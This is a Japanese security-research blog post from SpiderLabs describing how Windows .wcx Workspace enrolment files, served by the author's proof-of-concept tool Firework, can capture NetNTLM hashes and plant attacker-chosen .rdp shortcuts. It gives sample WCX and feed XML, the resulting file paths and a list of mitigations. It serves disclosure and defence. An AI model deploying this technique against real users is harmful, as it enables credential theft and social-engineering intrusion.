ブログとストーリー

SpiderLabsブログ

年間50万人以上の読者を魅了しているブログがセキュリティ コミュニティの主要目的地になっているのは、最新の脅威の技術的な分析、重要な脆弱性に関する開示、最先端の研究が掲載されているからです。

Firework: ペネトレーション(侵入)テストで Microsoft Workspace を利用する

概要

WCX ファイルを使用すれば、数回のクリックでシステム上に Microsoft Workplace を設定すること ができます。登録プロセスは、NetNTLM ハッシュの形でクレデンシャルを開示することができま す。認証は、古いバージョンの Windows では自動的に行われるか、ユーザーに最新の認証情報 が要求されます。Workplace は、幅広いソーシャルエンジニアリングキャンペーンの一環として、さ らに兵器化される可能性があります。

バックグラウンド

最も危険な攻撃のペイロードは、意図した方法でネイティブ機能を活用するものです。特に広く採 用されていない、あるいは危険であると認識されている場合には。Windows システムの強化と潜 在的に危険なファイル拡張に関するいくつかの調査を行っている間に、私は WCX ファイル拡張子 を発見しました。Windows プラットフォームでこの拡張子を持つファイルを作成すると、これに対応 する「Microsoft Remote Desktop」のアイコンが表示されます。この形式は、アプリケーションまた はデスクトップをターミナルサービスファームに展開する Microsoft Workplace をプロビジョニング (準備)するために使用されます。もちろん、マイクロソフトはプロビジョニングプロセスをできるだけ 簡単に行えるように、.wcx ファイルを 1 回クリックするだけで ”Workplace” の設定ができるように しました。実際にこれを行うとどうなるでしょう?

WCX のファイル形式は次のようになります。私が見たファイルや仕様には、それ以上のエキゾチッ クなものは見られませんでした。

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<workspace name="abc Remote Access" xmlns="http://schemas.microsoft.com/ts/2008/09/tswcx" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<defaultFeed url="https://example.org/" />
</workspace>

ご覧のように、ファイルにはリモート Web サーバーへの URL が含まれています。この URL は、ア プリケーションとデスクトップのセットアップに必要な情報を含む XML ファイルにリンクする必要が あります。

wcx ファイルをクリックすると、次の警告が表示されます。

WCX warning message
.wcx ファイルをクリックすると表示される警告

 

技術仕様書を読むと、次のような興味深いものに出くわしました。

Python ベースのツールである Fireworkを紹介します。このツールは、NetNTLM の Web サーバー 側のもので Responderからそのコードのほとんどを借りています。これを超えて、必要なリソース を生成し、認証フローが成功した後にそれらのサービスを提供します。

私の最初の観測では、 .wcx ファイルをクリックした後に「次へ」をクリックすると、Windows 7 ホスト がプロキシ対応の HTTPS 接続で認証され、私たちが用意した固定のチャレンジに対応する NetNTLM ハッシュを提供します。このハッシュはクラックされる可能性があります。あるいは、潜在 的に、私たちがアクセスできるアプリケーションにハッシュをリレーするようにプロセスを変更するこ とができます。Windows 10 を含むより最近のバージョンの Windows の場合、ユーザーにはクレデ ンシャル情報プロンプトが表示されます。このプロンプトが送信されると、ハッシュは HTTPS 経由 で出るようになります。

Firework screenshot

NetNTLMv2 ハッシュキャプチャを示す概念実証ツール
Credential prompt on a Windows 10 host
Windows 10 ホストに表示されたクレデンシャル情報のプロンプト

 

ユーザーハッシュを渡した後、Windows はこのツールからの有効なフィードを受け取ります。これ は次の XML のようになります。

<?xml version="1.0" encoding="utf-8"?>
<ResourceCollection PubDate="2009-07-09T17:57:30.323Z" SchemaVersion="1.1" xmlns="http://schemas.microsoft.com/ts/2007/05/tswf">
<Publisher LastUpdated="2009-07-09T17:57:12.588625Z" Name="abc" ID="Contoso" Description="">
<Resources>
<Resource ID="2489cc78-44d8-46e8-a35d-5539c481d864" Alias="Excel" Title="Excel" LastUpdated="2009-07-09T17:57:12.588625Z" Type="RemoteApp" ExecutableName="excel.exe">
<Icons>
<IconRaw FileType="ico" FileURL="/2489cc78-44d8-46e8-a35d-5539c481d864.ico" />
</Icons>
<FileExtensions>
<FileExtension Name=".xls" />
</FileExtensions>
<HostingTerminalServers>
<HostingTerminalServer>
<ResourceFile FileExtension=".rdp" URL="/2489cc78-44d8-46e8-a35d-5539c481d864.rdp" />
<TerminalServerRef Ref="Contoso" />
</HostingTerminalServer>
</HostingTerminalServers>
</Resource>
</Resources>
<TerminalServers>
<TerminalServer ID="Contoso" Name="Contoso" LastUpdated="2009-07-09T17:57:12.588625Z" />
</TerminalServers>
</Publisher>
</ResourceCollection>

そして .wcx ファイルをクリックした犠牲者は、次のダイアログを見ることになるでしょう。そして、ス タートメニューに “Application” の素敵なアイコンが表示されます。

Successful Workplace Enrolment
実証実験ツールでホストされている Workplace を正常にセットアップする

 

ターゲット OS のバージョンに応じて、場所は Windows 7 と Windows 10 のそれぞれに対して以下 の例のようにわずかに異なります。

Start menu
[スタート]メニューに表示されるアプリケーション


さて、何が起こったのでしょう? Windows は、私たちのサーバーから .rdp と .ico ファイルをダウン ロードして、次のパスにダウンロードしました。

Folder Structure
Workplace のフォルダ構造

 

さらに、Windows は次のパスにショートカットを作成しました。

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\abc(RADC)

これは、私たちが提供した .rdp 接続ファイルで mstsc.exe にリンクします。

%systemroot%\system32\mstsc.exe "C:\Users\<user>\AppData\Roaming\Microsoft\Workspaces\{44FF1EEA-DF4F-494B-829B-5454374D3E75}\Resource\Excel(abc).rdp"

プロビジョニングフィードに危険な値を導入しようとする試みはほとんど失敗し、プロビジョニングま たはアップデートプロセスが失敗することがほとんどでした。ただし、任意の .rdp ファイルへの意 図したリンクを使用して、スタートメニューにインストールすることができました。ターゲットの設定に 応じて、そのようなファイルはより幅広いソーシャルエンジニアリングキャンペーンとして使用でき ます。フィードパラメータは、悪意のある登録をより信憑性のあるものにするためのスコープを明ら かにしています。例えば、「Secure(安全)」を発行者名として使用するといったことです。ユーザー が、攻撃者が制御する RDP サーバーにログオンしてローカルリソースにマッピングしたり、攻撃者 がターゲット環境に関する知識を持っていれば、ローカルサーバーへの接続を設定したり、接続が 成功した場合に実行するコマンドを指定するなどの可能性があります。このような攻撃のシナリオ は、多くの創造的なスコープを提供する RDP 接続ファイルのスコープのベースになります。今日 の極めて一般的な OS の設定では、通常、ユーザーがクリックしなければならないいくつかの警告 があり、「password 51」などのオプションは無効になっています。リソースファイル自体のコンテン ツチェックはそれほど厳格ではないため、他の手段で実行されるペイロードを隠す可能性がありま す。

この Workplace でのプロビジョニングプロセスのもう 1 つの興味深い要素は、機能の性質上、永続 的であることです。システムは XML フィードを更新し続け、使用可能なアプリケーションとデスクト ップを更新しようとします。これは Windows 7 にとって特に興味深いものです。そうすることで毎日 新しい NetNTLM パスワードハッシュが取得されます。フィードの認証を強制しない場合、Windows 10 などの最近のオペレーティングシステムでは、スタートメニューのリソースやアイテムを定期的 に更新することができます。

Task Scheduler Window
Workplace のフィードを更新するスケジュールされたタスク

 

まとめ

  • WCX ファイルとそれに続く Workspace プロビジョニングプロセスは、探求すべき興味深い 攻撃面(attack surface)を提供します。
  • 正常に登録されてしまうと、毎日 HTTPS 経由で NetNTLMv2 ハッシュが送信される可能性 があります。
  • 攻撃者が Workspace の機能を活用して、幅広いソーシャルエンジニアリングキャンペーン の一環として、悪意のあるアプリケーションやデスクトップを導入する可能性があります。こ れは、より大きな意味を持つ可能性があります。結果的に、ローカルリソースが攻撃者のタ ーミナルサーバーにマッピングされるか、あるいはローカルサーバー上で実行されるコマン ドが設定ファイルに成功裏に導入された場合に、データの損失がより大きくなる可能性が あります。

緩和策

  • 顧客は、この Windows 機能に対応する TSWorkspace/1.0 の User-Agent で接続を監視 する必要があります。
  • インラインプロキシは、資格情報の暴露を防ぐために、NTLM over HTTPS をブロックまた は監視する必要があります。
  • 以下のファイルパスへの不信な書き込みを監視します。 C:\Users\<user>\AppData\Roaming\Microsoft\Workspaces\
  • グループポリシーでリモートデスクトップ設定を保護します。クレデンシャル情報を求めるプ ロンプトを表示せずにログオンを防止し、不要な場合はローカルリソースのリダイレクトを防 止するなどのオプションが設定されていることを確認します。 ”Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Services” を参照してください。
  • “Computer Configuration/Administrative Templates/System/Credentials Delegation”のク レデンシャル委任設定を確認してください。